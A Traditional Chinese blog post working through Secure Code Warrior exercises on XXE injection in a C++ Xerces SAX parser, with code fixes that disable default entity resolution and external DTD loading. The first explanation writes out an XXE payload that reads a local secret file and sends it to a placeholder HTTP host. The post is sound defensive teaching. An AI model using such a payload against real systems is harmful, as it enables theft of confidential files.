今天是快樂星期六~
下方程式碼片段全部都是擷取自 Secure Code Warrior 線上安全程式培訓平台,因為練習互動時的題目多半不會只有單一個檔案,可能涉及多個檔案、資料夾及多處地方修改,因此我的文章主要是針對最主要的區塊做修改及說明,若有不好理解的地方非常抱歉也還請見諒,也可以實際上去 Secure Code Warrior 玩玩看,搭配著互動,會更有感的學習哦~
parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
解釋:
傳入的XML檔案可以有以下記錄,而不是引用本地XML:<!DOCTYPE attack [ <!ENTITY xxe SYSTEM"file:///C:/secret.data"><!ENTITY sendSecureData SYSTEM "http://127.0.0.1:8880/senfInfo?&xxe;"> ]>
因此,可以將節點“name”的值重新定義如下:<name>&sendSecureData;</name>
將儲存在本地檔案中的機密資料傳送到遠端電腦,預設情況下解析器啟用了選項,允許XXE注入。必須手動禁用它們以保護系統。
把原本區塊
SAXHandlers handlers;
parser->setDocumentHandler( &handlers );
parser->setErrorHandler( &handlers );
parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
改成
parser->setValidationScheme( SAXParser::Val_Always );
parser->setDoNamespaces( true );
parser->setDoSchema( true );
parser->setHandleMultipleImports( true );
parser->setValidationSchemaFullChecking( true );
SAXHandlers handlers;
parser->setDocumentHandler( &handlers );
parser->setErrorHandler( &handlers );
parser->setDTDHandler( &handlers );
parser->setDisableDefaultEntityResolution(true);
parser->parse( xmlFile.c_str() );
int errorNumber = parser->getErrorCount();
if( errorNumber )
{
return false;
}
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
解釋:
建議在XML解析期間考慮所有錯誤。 正確應用適當的XML模式是防止XML文件驗證和注入的一種方式。 例如,傳入的XML檔案必須具有對本地XML模式檔案的內部引用,該檔案受保護避免重寫。 但主要保護方法是手動禁用預設實體解析。
parser->parse( xmlFile.c_str() );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
解釋:跟第一題一樣
錯誤區塊內加入這兩行
parser->setValidationScheme( SAXParser::Val_Always );
parser->setDisableDefaultEntityResolution(true);
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
解釋:跟第一題一樣,傳入的XML檔案必須具有對本地DTD檔案的內部引用,該檔案受保護避免重寫。保護系統的主要方法是禁用實體解析。
parser->setFeature( XMLUni::fgXercesLoadExternalDTD, true );
parser->setFeature( XMLUni::fgXercesSkipDTDValidation, false );
//程式碼片段擷取自 Secure Code Warrior 線上安全程式培訓平台
解釋:
使用配置薄弱的SAX解析器處理不受信任的XML檔案可能會導致XML外部實體(XXE)攻擊。這種攻擊可能會使用外部實體引用來存取系統上的機密資料和檔案。即使解析結果沒有返回給使用者,帶外資料檢索技術也可能允許攻擊者竊取敏感資料。
true, false調整成相反